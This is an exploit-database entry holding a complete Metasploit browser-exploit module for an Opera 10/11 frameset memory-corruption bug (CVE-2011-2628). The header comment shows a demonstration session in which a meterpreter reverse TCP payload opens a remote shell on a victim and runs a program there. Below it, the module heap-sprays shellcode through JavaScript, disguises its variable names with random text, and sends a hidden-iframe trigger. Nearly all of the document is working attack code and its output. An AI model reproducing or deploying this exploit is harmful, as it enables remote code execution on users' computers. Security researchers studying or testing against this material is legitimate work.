Opera 10/11 (bad nesting with frameset tag) Memory Corruption



EKU-ID: 1079 CVE: 2011-2628 OSVDB-ID:
Author: Jose A. Vazquez Published: 2011-10-08 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


###############################################################################################################
# Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption
#
# Vulnerability:
#
# Discovered: 2010-08-18
# Patched: 2011-05-18
# Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63)
#       v11.xx < v11.11 (v11.00, v11.01 and v11.10)
# Patched on: v11.11
#
# Exploit:
#
# Coded: 2010-09-23
# Last revision: 2011-09-30
#
# RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10*
# DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63
#
# Notes:
#
# 1) DEP bypass: possible but unreliable.
# 2) Let me know if you improve this one ;)
# 3) Most of times, it won't work at first attempt and need crash-dialog interaction.
#
# Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com
#
# Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc
#
# Running against Opera v10.62...
#
#
#        =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
# + -- --=[ 741 exploits - 378 auxiliary - 82 post
# + -- --=[ 228 payloads - 27 encoders - 8 nops
#        =[ svn r13801 updated 3 days ago (2011.09.27)
#
# msf > use windows/browser/opera_frameset_tag
# msf  exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp
# payload => windows/meterpreter/reverse_tcp
# msf  exploit(opera_frameset_tag) > set LHOST 192.168.1.103
# LHOST => 192.168.1.103
# msf  exploit(opera_frameset_tag) > exploit
# [*] Exploit running as background job.
#
# [*] Started reverse handler on 192.168.1.103:4444
# msf  exploit(opera_frameset_tag) >
# [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS
# [*]  Local IP: http://192.168.1.103:8080/sUpFmezLW6jS
# [*] Server started.
# [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default))
# [*] Sending stage 1 (Spraying the heap)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage 2 (Triggering the vulnerability)
# [*] Sending stage (752128 bytes) to 192.168.1.104
# [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200
# Interrupt: use the 'exit' command to quit
# msf  exploit(opera_frameset_tag) > sessions
#
# Active sessions
# ===============
#
#   Id  Type                   Information                              Connection
#   --  ----                   -----------                              ----------
#   1   meterpreter x86/win32  0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12  192.168.1.103:4444 -> 192.168.1.104:1190
#
# msf  exploit(opera_frameset_tag) > sessions -i 1
# [*] Starting interaction with 1...
#
# meterpreter > getuid
# Server username: 0XDE1-A39ED4C12\0xde1
# meterpreter > execute -f  calc.exe
# Process 1336 created.
# meterpreter > exit
# [*] Shutting down Meterpreter...
# msf  exploit(opera_frameset_tag) >
#
################################################################################################################

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 
 def initialize(info = {})
 
  super(update_info(info,
   'Name'           => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption',
   'Description'    => %q{
   
    This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within
    Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses.
    Successfully exploiting leads to remote code execution or denial of service condition under Windows XP
    SP3 (DEP = off).
    
    Note than most of cases, it won't work at first attempt and need crash-dialog interaction.
    Read the last reference for further details.
    
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Jose A. Vazquez'
    ],
   'Version'        => '$Revision: 0011 $',
   'References'     =>
    [
     ['CVE', '2011-2628'],
     ['OSVDB', '72406'],
     ['BID', '47906'],
     ['URL', 'http://www.opera.com/support/kb/view/992/'],
     ['URL', 'http://www.beyondsecurity.com/ssd.html'],
     ['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'],
     ['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC'          => 'process',
     'HTTP::compression' => 'gzip',
     'HTTP::chunked'     => true
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
     'Compat'   =>
      {
       'ConnectionType' => '-find',
      },
     'StackAdjustment' => -3500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Automatic
     [ 'Automatic',
      {}
     ],
     
     # Opera > v10.54 ~ spray of 350 MB
     [ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)', 
      {
       'SizeofSpray' => 700,
       'Ret' => 0x0c0c0c0c
      }
     ],
     
     # Opera <= v10.54 ~ spray of 250 MB
     [ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)', 
      {
       'SizeofSpray' => 500,
       'Ret' => 0x0c0c0c0c
      }
     ],
     
     # Opera < v10.50 doesn't get crashed with previous method and it needs this one.
     [ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)', 
      {
       'SizeofSpray' => 500,
       'Ret' => 0x0c0c0c0c
      }
     ]
    ],
   'DisclosureDate' => '5 October 2011',
   'DefaultTarget'  => 0))
   
 end
 
 #I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection
 
 def automatic_target(cli, request)

  thistarget = nil
 
  agent = request.headers['User-Agent']

  if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/
   thistarget = targets[3]
  elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/
   thistarget = targets[2]
  else
   thistarget = targets[1]
  end
  
  thistarget
  
 end
 
 def on_request_uri(cli, request)
 
  mytarget = target
  
  if target.name == 'Automatic'
   mytarget = automatic_target(cli, request)
  end
 
  if(request.uri =~ /\.xhtml$/)
  
   #Send file for trigger the vulnerability for cases > v10.10  
    
   html = %Q|
     <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
     <meta http-equiv="refresh" content="0;url=" /> 
      <xht:frameset>
       <xht:iframe>
        <xht:script>
        rbc
        </xht:script>
        <style type="text/css">
         <!-- /* padding CSS */

         approx:root{ 
          font: 333em;
         }
         -->
        </style>
       </xht:iframe>
      </xht:frameset>
     </html>
    |
  
   #Send triggerer
  
   print_status("Sending stage 2 (Triggering the vulnerability)")
   
   var_contentype = 'application/xhtml+xml'
   
  else
   
   #Send payload + hide iframe for trigger the vuln
  
   #Re-generate the payload
  
   return if ((p = regenerate_payload(cli)) == nil)
   
   #Encode the shellcode
   
   shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
   
   #Ret
   
   addr_word  = [mytarget.ret].pack('V').unpack('H*')[0][0,4]
   
   #Randomize the javascript variable names
   
   var_buffer     =  rand_text_alpha(rand(30)+2)
   var_shellcode =  rand_text_alpha(rand(30)+2)
   var_unescape   =  rand_text_alpha(rand(30)+2)
   var_x          =  rand_text_alpha(rand(30)+2)
   var_i          =  rand_text_alpha(rand(30)+2)

   var_size       =  rand_text_alpha(rand(30)+2)
   var_nopsize    =  rand_text_alpha(rand(30)+2)
   var_limit      =  rand_text_alpha(rand(30)+2)
   
   var_function_trigger  =  rand_text_alpha(rand(30)+2)
   var_file_trigger = rand_text_alpha(rand(30)+2)
   
   var_timer_trigger = (rand(3) + 2) * 1000
   
   #Build the exploit
   
   var_url =  ((datastore['SSL']) ? "https://" : "http://")
   var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
   var_url << ":" + datastore['SRVPORT']
   var_url << get_resource
   
   #Sending init HTML
   print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")
   
   if mytarget.name =~ /v10.00/
   
   # Case v10.00 - v10.10
   
    html = %Q|
     <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml">
      <xht:frameset>
       <xht:iframe>
        <xht:script>
         aaaaaa
        </xht:script>
       </xht:iframe>
      </xht:frameset>
      <script type="text/javascript">
       <![CDATA[
        var #{var_unescape}  = unescape;
        var #{var_shellcode} = #{var_unescape}("#{shellcode}");

        var #{var_size} = #{var_shellcode}.length * 2;
        var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
        var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
              
        while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
         #{var_buffer} += #{var_buffer};
        }

        var #{var_x} = new Array();
         
        for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
         #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
        }
        setInterval("location.reload()", 500);
       ]]>
      </script>
     <html>
     | 
  
    print_status("Sending simple stage (Sprayer and Triggerer)")
    var_contentype = 'application/xhtml+xml'
   
   else
   
   # Case > v10.10
   
    html = %Q|
      <html>
       <head>
        <script type="text/javascript">
         var #{var_unescape}  = unescape;
         var #{var_shellcode} = #{var_unescape}("#{shellcode}");

         var #{var_size} = #{var_shellcode}.length * 2;
         var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14);
         var #{var_buffer} = #{var_unescape}("%u#{addr_word}");
             
         while ( #{var_buffer}.length * 2 < #{var_nopsize} ) {
          #{var_buffer} += #{var_buffer};
         }

         var #{var_x} = new Array();
         
         for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) {
          #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode};
         }
         
         function #{var_function_trigger}(){
          document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
         }
         
         setTimeout('#{var_function_trigger}()',#{var_timer_trigger});
         
        </script>
       </head>
      <html>
     | 
     
    print_status("Sending stage 1 (Spraying the heap)")
    var_contentype = 'text/html'
    
   end
    
  end
 
  #Response
  send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })
  #Handle the payload   
  handler(cli)
  
 end
 
end